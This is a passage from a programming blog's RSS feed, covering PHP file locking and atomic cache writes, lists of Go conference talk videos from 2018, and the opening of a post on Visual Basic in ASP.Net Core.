</span></span><span class="line"><span class="cl"><span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="nv">$filename</span><span class="p">));</span>
</span></span></code></pre></div><p>The output (during writing) will be:</p>
<pre><code>string(0) &quot;&quot;
</code></pre>
<p>And when writing is done it will be:</p>
<pre><code>string(4) &quot;test&quot;
</code></pre>
<p>If you want the reader to wait for the writer, you should have:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span> <span class="c1">// read2.php
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$filename</span> <span class="o">=</span> <span class="nx">sys_get_temp_dir</span><span class="p">()</span><span class="o">.</span><span class="s1">&#39;/test.txt&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$file</span> <span class="o">=</span> <span class="nx">fopen</span><span class="p">(</span><span class="nv">$filename</span><span class="p">,</span> <span class="s1">&#39;r&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nv">$lock</span> <span class="o">=</span> <span class="nx">flock</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="nx">LOCK_SH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">echo</span> <span class="nx">file_get_contents</span><span class="p">(</span><span class="nv">$filename</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">flock</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="nx">LOCK_UN</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">fclose</span><span class="p">(</span><span class="nv">$file</span><span class="p">);</span>
</span></span></code></pre></div><p>You don&rsquo;t want to have the readers wait for each other and that why the reader
uses a &ldquo;<code>LOCK_SH</code>&rdquo; (shared lock) and not a &ldquo;<code>LOCK_EX</code>&rdquo; (exclusive lock).</p>
<h3 id="reader-and-writer-functions-that-lock">Reader and writer functions that lock</h3>
<p>Here are the alternative &ldquo;<code>file_get_contents_locking</code>&rdquo; and
&ldquo;<code>file_put_contents_locking</code>&rdquo; functions that can be using when implementing a
file cache.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">file_put_contents_locking</span><span class="p">(</span><span class="nv">$filename</span><span class="p">,</span> <span class="nv">$string</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">file_put_contents</span><span class="p">(</span><span class="nv">$filename</span><span class="p">,</span> <span class="nv">$string</span><span class="p">,</span> <span class="nx">LOCK_EX</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">file_get_contents_locking</span><span class="p">(</span><span class="nv">$filename</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$file</span> <span class="o">=</span> <span class="nx">fopen</span><span class="p">(</span><span class="nv">$filename</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nv">$file</span> <span class="o">===</span> <span class="k">false</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$lock</span> <span class="o">=</span> <span class="nx">flock</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="nx">LOCK_SH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$lock</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">fclose</span><span class="p">(</span><span class="nv">$file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$string</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="o">!</span><span class="nx">feof</span><span class="p">(</span><span class="nv">$file</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$string</span> <span class="o">.=</span> <span class="nx">fread</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="mi">8192</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">flock</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="nx">LOCK_UN</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">fclose</span><span class="p">(</span><span class="nv">$file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$string</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Note that if you are aware of this behavior you may also decide to implement an
alternative strategy. If you replace &ldquo;<code>LOCK_EX</code>&rdquo; with &ldquo;<code>LOCK_EX | LOCK_NB</code>&rdquo; the
function will return &ldquo;false&rdquo; instead of waiting for the lock.</p>
<h3 id="reader-and-writer-functions-that-serve-stale">Reader and writer functions that serve stale</h3>
<p>I really like the &ldquo;serve stale while refreshing&rdquo; strategy (for it&rsquo;s behavior
under high load). You may rename (move) the newly written file (with unique
filename) to the cache file after writing it. By depending on the rename to be
atomic and that it overwrites when the file exists, this leads to the simple
implementation below.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">file_put_contents_atomic</span><span class="p">(</span><span class="nv">$filename</span><span class="p">,</span> <span class="nv">$string</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$tempfile</span> <span class="o">=</span> <span class="nv">$filename</span> <span class="o">.</span> <span class="nx">uniqid</span><span class="p">(</span><span class="nx">rand</span><span class="p">(),</span> <span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$result</span> <span class="o">=</span> <span class="nx">file_put_contents</span><span class="p">(</span><span class="nv">$tempfile</span><span class="p">,</span> <span class="nv">$string</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$result</span> <span class="o">=</span> <span class="nv">$result</span> <span class="o">&amp;&amp;</span> <span class="nx">rename</span><span class="p">(</span><span class="nv">$tempfile</span><span class="p">,</span> <span class="nv">$filename</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$result</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">file_get_contents_atomic</span><span class="p">(</span><span class="nv">$filename</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">file_get_contents</span><span class="p">(</span><span class="nv">$filename</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>This achieves atomic writes without locks, but it relies on the generated
filenames to be unique and the rename (move) to be atomic. I tested this under
load (4 readers and 4 writers, 100000 times at &gt;1000 req/sec) and it seems
flawless, but concurrency is tricky so I may have overlooked something.</p>
<p>Did you like this article? Then you also want to read about
<a href="https://tqdev.com/2018-java-synchronized-block-in-php">Java&rsquo;s synchronized block in PHP</a>.</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>GopherCon Singapore 2018: videos online</title>
      <link>https://www.tqdev.com/2018-gophercon-singapore-2018-videos-online/</link>
      <pubDate>Sat, 08 Sep 2018 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-gophercon-singapore-2018-videos-online/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://2018.gophercon.sg/&#34;&gt;GopherCon Singapore&lt;/a&gt; is the largest Go programming
language conference in Southeast Asia. In 2018 the conference day was on May 4th
at the Marina Bay Sands Expo &amp;amp; Convention Centre in Singapore.&lt;/p&gt;
&lt;p&gt;You can find the videos on the
&lt;a href=&#34;https://www.youtube.com/playlist?list=PLq2Nv-Sh8EbbIjQgDzapOFeVfv5bGOoPE&#34;&gt;YouTube playlist&lt;/a&gt;
and also linked here:&lt;/p&gt;
&lt;p&gt;09:00 Welcome address&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=F8nrpe0XWRg&#34;&gt;Russ Cox - Opening keynote: Go with Versions&lt;/a&gt;
[40:50]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=qHm18k6K7OQ&#34;&gt;Elissa Lim - Project-driven journey to learning Go&lt;/a&gt;
[17:33]&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;10:20 Tea break&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=iJX4wdf-Y3M&#34;&gt;Rajeev N Bharshetty - Resiliency in Distributed Systems&lt;/a&gt;
[23:32]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=FJQjUueBJ2A&#34;&gt;Hana Kim - Understanding Running Go Programs&lt;/a&gt;
[23:24]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=L688sHqXL2A&#34;&gt;Stephen Kruger - Go for Grab&lt;/a&gt;
[30:37]&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;12:30 Lunch&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p><a href="https://2018.gophercon.sg/">GopherCon Singapore</a> is the largest Go programming
language conference in Southeast Asia. In 2018 the conference day was on May 4th
at the Marina Bay Sands Expo &amp; Convention Centre in Singapore.</p>
<p>You can find the videos on the
<a href="https://www.youtube.com/playlist?list=PLq2Nv-Sh8EbbIjQgDzapOFeVfv5bGOoPE">YouTube playlist</a>
and also linked here:</p>
<p>09:00 Welcome address</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=F8nrpe0XWRg">Russ Cox - Opening keynote: Go with Versions</a>
[40:50]</li>
<li><a href="https://www.youtube.com/watch?v=qHm18k6K7OQ">Elissa Lim - Project-driven journey to learning Go</a>
[17:33]</li>
</ul>
<p>10:20 Tea break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=iJX4wdf-Y3M">Rajeev N Bharshetty - Resiliency in Distributed Systems</a>
[23:32]</li>
<li><a href="https://www.youtube.com/watch?v=FJQjUueBJ2A">Hana Kim - Understanding Running Go Programs</a>
[23:24]</li>
<li><a href="https://www.youtube.com/watch?v=L688sHqXL2A">Stephen Kruger - Go for Grab</a>
[30:37]</li>
</ul>
<p>12:30 Lunch</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=5DCdjxhBpTw">William Kennedy - Optimize For Correctness</a>
[24:58]</li>
<li><a href="https://www.youtube.com/watch?v=k0-WyZCKF5I">Matthew Campbell - Build your own distributed database</a>
[19:41]</li>
<li><a href="https://www.youtube.com/watch?v=lp_ST9nbf5M">Katrina Owen - The Scandalous Story of Dreadful Code Written</a>
[22:55]</li>
</ul>
<p>14:55 Tea break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=wh81Xjuq8E4">Christopher Molozian - Erlang for Go developers</a>
[19:45]</li>
<li><a href="https://www.youtube.com/watch?v=gRg_ntEOAcs">Beverly Dolor - Go and the future of offices</a>
[17:30]</li>
</ul>
<p>16:15 Stretch break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=T82JttlJf60">Yeo Kheng Meng - Reflections on Trusting Trust for Go</a>
[20:32]</li>
<li><a href="https://www.youtube.com/watch?v=7R39CMW4MJQ">Chew Xuanyi - The Lost Art of Bondage</a>
[28:48]</li>
<li><a href="https://www.youtube.com/watch?v=XpefzqEsvjc">Ajey Gore - Closing keynote: GO-JEK gets Go</a>
[19:42]</li>
</ul>
<p>18:00 Closing remarks</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Go Northwest 2018: videos online</title>
      <link>https://www.tqdev.com/2018-go-northwest-videos-online/</link>
      <pubDate>Fri, 07 Sep 2018 08:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-go-northwest-videos-online/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://gonorthwest.io/&#34;&gt;Go Northwest&lt;/a&gt; is single day, community driven
conference devoted to the Go programming language. It was the first time this
event was organized. It was held in Seattle on July 30, 2018 at McCaw Hall in
the Seattle Center. It had an attendance from 280 software developers who write
in Go and there were 14 speakers and 3 sponsors.&lt;/p&gt;
&lt;p&gt;You can find the videos on the
&lt;a href=&#34;https://www.youtube.com/channel/UCq9zCm9qiQ6glsz8B3kwsxw/videos&#34;&gt;YouTube channel&lt;/a&gt;
and also linked here:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p><a href="http://gonorthwest.io/">Go Northwest</a> is single day, community driven
conference devoted to the Go programming language. It was the first time this
event was organized. It was held in Seattle on July 30, 2018 at McCaw Hall in
the Seattle Center. It had an attendance from 280 software developers who write
in Go and there were 14 speakers and 3 sponsors.</p>
<p>You can find the videos on the
<a href="https://www.youtube.com/channel/UCq9zCm9qiQ6glsz8B3kwsxw/videos">YouTube channel</a>
and also linked here:</p>
<p>9:00 Kickoff</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=5RSMQEdQmCE">Tess Rinearson - An Over Engineering Disaster with Macaroons</a>
[30:34]</li>
<li><a href="https://www.youtube.com/watch?v=gwg_YXyCYBw">Sam Kreter - Introduction to Modern Data Science with Go</a>
[23:51]</li>
<li><a href="https://www.youtube.com/watch?v=bZ53UAN2T58">Michael Sorens - Unit Testing: Tips from the Trenches</a>
[11:42]</li>
</ul>
<p>10:15 Break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=DyXJy_0v0_U">Jeffrey Richter - Using Reflection to implement enumerated types</a>
[28:38]</li>
<li><a href="https://www.youtube.com/watch?v=RqubKSF3wig">David Crawshaw - SQLite and Go</a>
[32:03]</li>
<li><a href="https://www.youtube.com/watch?v=QkAegAn1mo0">Hsing-Hui - A Rubyist’s poignant guide to Go 6</a>
[28:04]</li>
</ul>
<p>12:00 Lunch</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=xMg9V-xE-zU">Jose Niño - Go in the Envoy Ecosystem</a>
[10:47]</li>
<li><a href="https://www.youtube.com/watch?v=3TZqi-C2qeI">Stephen McQuay - Go idioms discovered building a system package manager</a>
[22:39]</li>
<li><a href="https://www.youtube.com/watch?v=RLJWiYs90a8">Jaana B. Dogan - Tracing Go</a>
[21:20]</li>
</ul>
<p>14:40 Break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=jUSJePqplDA">Hayley Denbraver - We Are 3000 Years Behind: Engineering Ethics</a>
[18:32]</li>
<li><a href="https://www.youtube.com/watch?v=XTI-hrGmOlg">Gavin Chun Jin - Implementing ping8 in Go</a>
[13:24]</li>
<li><a href="https://www.youtube.com/watch?v=3llI65DQB_w">Katrina Ellison Geltman - Code Generation: Go&rsquo;s Secret Weapon</a>
[8:45]</li>
</ul>
<p>15:50 Break</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=-tT40zeWgXM">Jayapriya Surendran - Probabilistic Data Structures in Go</a>
[32:46]</li>
<li><a href="https://www.youtube.com/watch?v=rWJHbh6qO_Y">Brad Fitzpatrick - Go 1.11 and beyond</a>
[22:08]</li>
</ul>
<p>17:00 Closing Remarks</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>GopherCon UK 2018: videos online</title>
      <link>https://www.tqdev.com/2018-gophercon-uk-2018-videos-online/</link>
      <pubDate>Sat, 01 Sep 2018 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-gophercon-uk-2018-videos-online/</guid>
      <description>&lt;p&gt;GopherCon UK 2018 was held at The Brewery from August 1 to 3, in the heart of
the City of London. It aims to deliver fantastic up-to-date content about Go
programming and related technologies in a comfortable and professional setting.
This is an event that you don&amp;rsquo;t want to miss.&lt;/p&gt;
&lt;p&gt;Did you miss it? No problem, you can watch the videos on YouTube:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=2mgKDqD5Ga8&#34;&gt;Aditya Mukerjee - You Might Be a Go Contributor and Not Know It&lt;/a&gt;
[41:17]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=C5wkhwBhYzI&#34;&gt;Amy Chen - Code, Content, &amp;amp; Crafting Your Voice&lt;/a&gt;
[25:45]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=NBo7d5AG-3s&#34;&gt;Bernd Rucker - Orchestration of Microservices&lt;/a&gt;
[44:42]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=FdURVezcdcw&#34;&gt;Christopher Biscardi - Going GraphQL&lt;/a&gt;
[39:21]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=MAopsd6kdY0&#34;&gt;Grant Griffiths - Black Box Monitoring in Go&lt;/a&gt;
[26:47]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=GUGYJup0xLc&#34;&gt;Michael Hausenblas - Three Billy GOats Gruff: from VMs to Serverless&lt;/a&gt;
[43:47]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=TGg6cc0QCzw&#34;&gt;Pawel Slomka - Documenting Go Code with Beautiful Tests&lt;/a&gt;
[36:24]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=rsrRZ8mN5Kk&#34;&gt;David Hernandez - Secrets about using Machine Learning and Go&lt;/a&gt;
[40:33]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=nG2djhqmSQk&#34;&gt;Sean Kelly - Broadcasting Channels&lt;/a&gt;
[46:38]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=BzDUl9UrLRg&#34;&gt;Matthew Campbell - Blockchain Apps in Go&lt;/a&gt;
[42:18]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=jOIS60UVqr0&#34;&gt;Contributor Workshop&lt;/a&gt; [12:48]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=YWdJlXxFO-U&#34;&gt;Carmen Ruiz Vicente - Using Go for Healthcare&lt;/a&gt;
[37:39]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=IzyEKH8N4aE&#34;&gt;Mahdi Jelodari - GoPro: More Concurrent than Parallel!&lt;/a&gt;
[43:56]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=Hm10y2tP5QQ&#34;&gt;Dmitry Matyukhin - Component &amp;amp; Integration Tests for Micro-services&lt;/a&gt;
[29:38]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=VQym87o91f8&#34;&gt;Kat Zien - How do you structure your Go apps?&lt;/a&gt;
[44:42]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=gm34Aph9v0M&#34;&gt;Grant Griffiths - Building Resilient Data Pipelines in Go&lt;/a&gt;
[21:43]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=-VxJ7XLdrO4&#34;&gt;Eleanor Deal - Go&#39;s role in publishing data for National Statistics&lt;/a&gt;
[33:13]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=awmsp2N6trY&#34;&gt;Cassandra Salisbury - Growing a Community of Gophers&lt;/a&gt;
[27:53]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=_wXf5Oixz28&#34;&gt;Brian Ketelsen - Athens: The Center of Knowledge&lt;/a&gt;
[22:55]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=MuxkMzFVkKI&#34;&gt;Alexandre González - From source code to Kubernetes, a CI/CD tale&lt;/a&gt;
[37:47]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=zE4QWgyZQP4&#34;&gt;Daniela Petruzalek - The Best Feature of Go&lt;/a&gt;
[34:44]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=wvDvhFgX7Z8&#34;&gt;Sean Kelly - Go Test: Under the Hood&lt;/a&gt;
[48:25]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=wxkEQxvxs3w&#34;&gt;Florin Patan - Production Ready Go Service in 30 Minutes&lt;/a&gt;
[44:38]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=4CrL3Ygh7S0&#34;&gt;Roberto Clapis - Goroutines: The Dark Side of the Runtime&lt;/a&gt;
[37:42]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=zjG2Y01i3Kk&#34;&gt;Marty Schoch - Scorch! a New Index for Bleve&lt;/a&gt;
[52:11]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=9MW4H6kFb7M&#34;&gt;Jelmer Snoeck - Experimental Refactoring with Go&lt;/a&gt;
[45:20]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=-icuVKErWbA&#34;&gt;Diana Carolina Ortega Munoz - Deep Learning, Ready? Go!&lt;/a&gt;
[33:19]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=3CR4UNMK_Is&#34;&gt;Andre Carvalho - Understanding Go&#39;s Memory Allocator&lt;/a&gt;
[47:15]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=ZrpkrMKYvqQ&#34;&gt;Liz Rice - Debuggers From Scratch&lt;/a&gt;
[37:49]&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=FiMEgS6fGqc&#34;&gt;Nathan Davies - Reducing Fragmentation in System Architectures&lt;/a&gt;
[38:45]&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Enjoy!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>GopherCon UK 2018 was held at The Brewery from August 1 to 3, in the heart of
the City of London. It aims to deliver fantastic up-to-date content about Go
programming and related technologies in a comfortable and professional setting.
This is an event that you don&rsquo;t want to miss.</p>
<p>Did you miss it? No problem, you can watch the videos on YouTube:</p>
<ul>
<li><a href="https://www.youtube.com/watch?v=2mgKDqD5Ga8">Aditya Mukerjee - You Might Be a Go Contributor and Not Know It</a>
[41:17]</li>
<li><a href="https://www.youtube.com/watch?v=C5wkhwBhYzI">Amy Chen - Code, Content, &amp; Crafting Your Voice</a>
[25:45]</li>
<li><a href="https://www.youtube.com/watch?v=NBo7d5AG-3s">Bernd Rucker - Orchestration of Microservices</a>
[44:42]</li>
<li><a href="https://www.youtube.com/watch?v=FdURVezcdcw">Christopher Biscardi - Going GraphQL</a>
[39:21]</li>
<li><a href="https://www.youtube.com/watch?v=MAopsd6kdY0">Grant Griffiths - Black Box Monitoring in Go</a>
[26:47]</li>
<li><a href="https://www.youtube.com/watch?v=GUGYJup0xLc">Michael Hausenblas - Three Billy GOats Gruff: from VMs to Serverless</a>
[43:47]</li>
<li><a href="https://www.youtube.com/watch?v=TGg6cc0QCzw">Pawel Slomka - Documenting Go Code with Beautiful Tests</a>
[36:24]</li>
<li><a href="https://www.youtube.com/watch?v=rsrRZ8mN5Kk">David Hernandez - Secrets about using Machine Learning and Go</a>
[40:33]</li>
<li><a href="https://www.youtube.com/watch?v=nG2djhqmSQk">Sean Kelly - Broadcasting Channels</a>
[46:38]</li>
<li><a href="https://www.youtube.com/watch?v=BzDUl9UrLRg">Matthew Campbell - Blockchain Apps in Go</a>
[42:18]</li>
<li><a href="https://www.youtube.com/watch?v=jOIS60UVqr0">Contributor Workshop</a> [12:48]</li>
<li><a href="https://www.youtube.com/watch?v=YWdJlXxFO-U">Carmen Ruiz Vicente - Using Go for Healthcare</a>
[37:39]</li>
<li><a href="https://www.youtube.com/watch?v=IzyEKH8N4aE">Mahdi Jelodari - GoPro: More Concurrent than Parallel!</a>
[43:56]</li>
<li><a href="https://www.youtube.com/watch?v=Hm10y2tP5QQ">Dmitry Matyukhin - Component &amp; Integration Tests for Micro-services</a>
[29:38]</li>
<li><a href="https://www.youtube.com/watch?v=VQym87o91f8">Kat Zien - How do you structure your Go apps?</a>
[44:42]</li>
<li><a href="https://www.youtube.com/watch?v=gm34Aph9v0M">Grant Griffiths - Building Resilient Data Pipelines in Go</a>
[21:43]</li>
<li><a href="https://www.youtube.com/watch?v=-VxJ7XLdrO4">Eleanor Deal - Go's role in publishing data for National Statistics</a>
[33:13]</li>
<li><a href="https://www.youtube.com/watch?v=awmsp2N6trY">Cassandra Salisbury - Growing a Community of Gophers</a>
[27:53]</li>
<li><a href="https://www.youtube.com/watch?v=_wXf5Oixz28">Brian Ketelsen - Athens: The Center of Knowledge</a>
[22:55]</li>
<li><a href="https://www.youtube.com/watch?v=MuxkMzFVkKI">Alexandre González - From source code to Kubernetes, a CI/CD tale</a>
[37:47]</li>
<li><a href="https://www.youtube.com/watch?v=zE4QWgyZQP4">Daniela Petruzalek - The Best Feature of Go</a>
[34:44]</li>
<li><a href="https://www.youtube.com/watch?v=wvDvhFgX7Z8">Sean Kelly - Go Test: Under the Hood</a>
[48:25]</li>
<li><a href="https://www.youtube.com/watch?v=wxkEQxvxs3w">Florin Patan - Production Ready Go Service in 30 Minutes</a>
[44:38]</li>
<li><a href="https://www.youtube.com/watch?v=4CrL3Ygh7S0">Roberto Clapis - Goroutines: The Dark Side of the Runtime</a>
[37:42]</li>
<li><a href="https://www.youtube.com/watch?v=zjG2Y01i3Kk">Marty Schoch - Scorch! a New Index for Bleve</a>
[52:11]</li>
<li><a href="https://www.youtube.com/watch?v=9MW4H6kFb7M">Jelmer Snoeck - Experimental Refactoring with Go</a>
[45:20]</li>
<li><a href="https://www.youtube.com/watch?v=-icuVKErWbA">Diana Carolina Ortega Munoz - Deep Learning, Ready? Go!</a>
[33:19]</li>
<li><a href="https://www.youtube.com/watch?v=3CR4UNMK_Is">Andre Carvalho - Understanding Go's Memory Allocator</a>
[47:15]</li>
<li><a href="https://www.youtube.com/watch?v=ZrpkrMKYvqQ">Liz Rice - Debuggers From Scratch</a>
[37:49]</li>
<li><a href="https://www.youtube.com/watch?v=FiMEgS6fGqc">Nathan Davies - Reducing Fragmentation in System Architectures</a>
[38:45]</li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Visual Basic in ASP.Net Core 2.1</title>
      <link>https://www.tqdev.com/2018-visual-basic-in-asp-net-core-2-1/</link>
      <pubDate>Sat, 18 Aug 2018 20:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2018-visual-basic-in-asp-net-core-2-1/</guid>
      <description>&lt;p&gt;I love programming in Visual Basic. It gives me a feeling of nostalgia. It
reminds me of my early programming days in which I was programming
&lt;a href=&#34;https://en.wikipedia.org/wiki/GW-BASIC&#34;&gt;GW-Basic&lt;/a&gt;,
&lt;a href=&#34;https://en.wikipedia.org/wiki/QBasic&#34;&gt;QBasic&lt;/a&gt; and
&lt;a href=&#34;https://en.wikipedia.org/wiki/TurboBasic&#34;&gt;Turbo Basic&lt;/a&gt;. I was still in primary
school and for me computers were full of secrets and had unlimited
possibilities. The Basic programming language survived the test of time and
became Visual Basic.&lt;/p&gt;
&lt;h3 id=&#34;vbnet-is-no-longer-a-1st-class-citizen&#34;&gt;VB.NET is no longer a 1st-class citizen&lt;/h3&gt;
&lt;p&gt;Later Visual Basic was the second language of Microsoft&amp;rsquo;s .Net platform.
Unfortunately (for Basic programmers) that second position (behind C#) seems to
have been overtaken by F#. I conclude this because some of the new features of
the .Net platform (such as the &amp;ldquo;VB Razor templates&amp;rdquo; and &amp;ldquo;Nullable reference
types&amp;rdquo;) have not been implemented for VB in ASP.Net Core.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I love programming in Visual Basic. It gives me a feeling of nostalgia. It
reminds me of my early programming days in which I was programming
<a href="https://en.wikipedia.org/wiki/GW-BASIC">GW-Basic</a>,
<a href="https://en.wikipedia.org/wiki/QBasic">QBasic</a> and
<a href="https://en.wikipedia.org/wiki/TurboBasic">Turbo Basic</a>. I was still in primary
school and for me computers were full of secrets and had unlimited
possibilities. The Basic programming language survived the test of time and
became Visual Basic.</p>
<h3 id="vbnet-is-no-longer-a-1st-class-citizen">VB.NET is no longer a 1st-class citizen</h3>
<p>Later Visual Basic was the second language of Microsoft&rsquo;s .Net platform.
Unfortunately (for Basic programmers) that second position (behind C#) seems to
have been overtaken by F#. I conclude this because some of the new features of
the .Net platform (such as the &ldquo;VB Razor templates&rdquo; and &ldquo;Nullable reference
